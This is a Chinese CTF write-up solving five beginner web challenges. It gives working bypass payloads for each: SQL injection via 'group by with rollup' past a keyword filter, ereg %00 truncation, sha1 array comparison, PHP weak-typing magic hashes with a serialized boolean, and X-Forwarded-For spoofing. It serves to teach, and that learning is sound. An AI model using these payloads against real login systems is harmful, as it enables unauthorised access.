0x01 前言 这两天看着各种群里的大佬们晒着湖湘杯等决赛资格,并且CTF也能巩固基础,然后我就开始入坑此处了。现阶段是从实验吧决斗场中的几道题开始。
0x02 因缺思汀的绕过 题目最初是两个输入框,然后有一个提交按钮,十分简洁。
查看源代码发现有个<!--source: source.txt-->
的注释标签提示。于是打开source.txt文件,可以找到index页面的源代码
其中非常关键的代码段有:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 function AttackFilter ($StrKey,$StrValue,$ArrReq) { if (is_array($StrValue)){ $StrValue=implode($StrValue); } if (preg_match("/" .$ArrReq."/is" ,$StrValue)==1 ){ print "姘村彲杞借垷锛屼害鍙禌鑹囷紒" ; exit (); } } $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)" ; foreach ($_POST as $key=>$value){ AttackFilter($key,$value,$filter); }
这部分把很多关键词给过滤了,而且把数组也给字符串化了。
1 2 3 4 5 6 7 8 9 10 11 12 13 mysql_select_db($db, $con); $sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'" ; $query = mysql_query($sql); if (mysql_num_rows($query) == 1 ) { $key = mysql_fetch_array($query); if ($key['pwd' ] == $_POST['pwd' ]) { print "CTF{XXXXXX}" ; }else { print "浜﹀彲璧涜墖锛�" ; } }else { print "涓€棰楄禌鑹囷紒" ; }
此处登录验证的方式是,将form传入的uname
参数作为索引拿去数据库进行查询,然后判断查询后返回的pwd
与传入的pwd
进行比较。很明显此处需要我们构造sql查询语句进行绕过。
针对if (mysql_num_rows($query) == 1)
,可以构造语句为 uname='or 1=1 limit 1#pwd=
进行绕过。
返回为:
说明已经成功突破第一步。
尝试语句uname='or 1=1 limit 1 offset 1#pwd=
也能成功,而offset 2
失败,说明该表存在两个用户。
利用group by ... with rollup
关键字
举例如下 :
1 2 3 4 5 6 7 8 9 10 mysql> select * from user; +----+-------+------+ | id | uname | pwd | +----+-------+------+ | 1 | user1 | pwd1 | | 2 | user2 | pwd2 | | 3 | user3 | pwd3 | | 4 | user4 | pwd4 | +----+-------+------+ 4 rows in set
假如没有with rollup
的查询:
1 2 3 4 5 6 7 8 9 10 mysql> select uname,pwd from user where uname='' or 1=1 group by pwd; +-------+------+ | uname | pwd | +-------+------+ | user1 | pwd1 | | user2 | pwd2 | | user3 | pwd3 | | user4 | pwd4 | +-------+------+ 4 rows in set
带有with roollup
的查询:
1 2 3 4 5 6 7 8 9 10 11 mysql> select uname,pwd from user where uname='' or 1=1 group by pwd with rollup; +-------+------+ | uname | pwd | +-------+------+ | user1 | pwd1 | | user2 | pwd2 | | user3 | pwd3 | | user4 | pwd4 | | user4 | NULL | +-------+------+ 5 rows in set
很明显,是用来在分组统计数据的基础上再进行统计汇总,即用来得到group by的汇总信息;
于是乎,可以根据group by … with rollup 结合limit..offset进行构造语句,根据弱类型的特性,Null与空字符串相等,来绕过验证。
语句为:
1 uname=' or 1=1 group by pwd with rollup limit 1 offset 2#&pwd=
因为表中共有两行数据,然后使用with rollup
过后,存在三行数据,此时offset 2
正好从第三行开始取数据。
最终取得数据类比为:
1 2 3 4 5 6 7 mysql> select pwd from user where uname='' or 1=1 group by pwd with rollup limit 1 offset 2; +------+ | pwd | +------+ | NULL | +------+ 1 row in set
0X03 Once More 老规矩,查看源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php if (isset ($_GET['password' ])) { if (ereg ("^[a-zA-Z0-9]+$" , $_GET['password' ]) === FALSE ) { echo '<p>You password must be alphanumeric</p>' ; } else if (strlen($_GET['password' ]) < 8 && $_GET['password' ] > 9999999 ) { if (strpos ($_GET['password' ], '*-*' ) !== FALSE ) { die ('Flag: ' . $flag); } else { echo ('<p>*-* have not been found</p>' ); } } else { echo '<p>Invalid password</p>' ; } } ?>
可以发现,为获得flag有三大要求:
首先,password的值由字母+数字组成,
其次,位数小于8且值大于9999999,
最后,还得包含字符串*-*
.
前两个条件可以用科学计数法绕过,而后最后一种只能从ereg()函数下手.Google了一下,
ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
于是乎可以构造语句password=9e8%00*-*
获取flag
0x04 FALSE 查看源代码,进行分析审计
1 2 3 4 5 6 7 8 9 10 11 12 <?php if (isset ($_GET['name' ]) and isset ($_GET['password' ])) { if ($_GET['name' ] == $_GET['password' ]) echo '<p>Your password can not be your name!</p>' ; else if (sha1($_GET['name' ]) === sha1($_GET['password' ])) die ('Flag: ' .$flag); else echo '<p>Invalid password.</p>' ; } else { echo '<p>Login first!</p>' ; ?>
可以看出,需要找到两个不同值的sha1产生摘要的相同,但是两个不同的消息 有1x10 ^ 48分之一的机率出现相同的消息摘要, 所以还得去寻找php中sha1()函数
漏洞.继续Google大法
*md5()是不能处理数组的,md5(数组)会返回null,两个null相等绕过 sha1()同理 *
于是乎,依旧可以构造语句:
name[]=2&password[]=1
获取flag.
0x05 天网管理系统
查看源代码,可以获得提示
可知,user的判断条件为,传入的username的md5值与字符串”0”进行比较.
php弱类型
php中有两种比较的符号 == 与 ===
=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较
== 在进行比较的时候,会先将字符串类型转化成相同,再比较
当字符串被当作一个数值来处理时,如果该字符串没有包含’.’,’e’,’E’并且其数值在整型范围之内,该字符串作为int来取值,其他所有情况下都被作为float来取值,并且字符串开始部分决定它的取值,开始部分为数字,则其值就是开始的数字,否则,其值为0
例如:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php var_dump(0 =='0' ); var_dump(0 =='asdfghjkl' ); var_dump(0 ==='asdfghjkl' ); var_dump('0' =='0e12344' ); var_dump('0' =='0asdfghj' ); var_dump(1 =='1e123456' ); var_dump(1 =='1asdfghj' ); var_dump(true =="asdfghjkl" ); ?>
于是找到开头为0e开头且其他均为数字的md5值的字符串,例如s878926199a
https://blog.csdn.net/qq_35544379/article/details/78181546
提交至用户名栏,返回得到
打开提示的网站,
1 2 3 4 5 6 7 8 9 10 <?php $unserialize_str = $_POST['password']; $data_unserialize = unserialize($unserialize_str); if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???') { print_r($flag); } ?> 伟大的科学家php方言道:成也布尔,败也布尔。 回去吧骚年
其中unserialize()
函数是php的反序列化函数,要求反序列化后得到的数组中,user
和pass
的值能与任何值==
比较相等,也就是均为布尔型TRUE
。
开始构造pass值,
1 2 3 4 5 6 <?php $arr['user' ]=true ; $arr['pass' ]=true ; $ser=serialize($arr); print_r($ser); ?>
得到$ser的值为:a:2:{s:4:"user";b:1;s:4:"pass";b:1;}
,将其提交为密码栏,得flag
0x06 貌似有点难 查看源代码,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php function GetIP () {if (!empty ($_SERVER["HTTP_CLIENT_IP" ])) $cip = $_SERVER["HTTP_CLIENT_IP" ]; else if (!empty ($_SERVER["HTTP_X_FORWARDED_FOR" ])) $cip = $_SERVER["HTTP_X_FORWARDED_FOR" ]; else if (!empty ($_SERVER["REMOTE_ADDR" ])) $cip = $_SERVER["REMOTE_ADDR" ]; else $cip = "0.0.0.0" ; return $cip;} $GetIPs = GetIP(); if ($GetIPs=="1.1.1.1" ){echo "Great! Key is *********" ;} else {echo "错误!你的IP不在访问列表之内!" ;} ?>
需要构造X-Forwarded-For: 1.1.1.1
即可获取flag。
0x07 后记 题目虽然挺容易的 ,但是对于入门是足够的了
0x07 参考链接 PHP函数黑魔法小总结
PHDays 2013 CTF “Blade” Writeup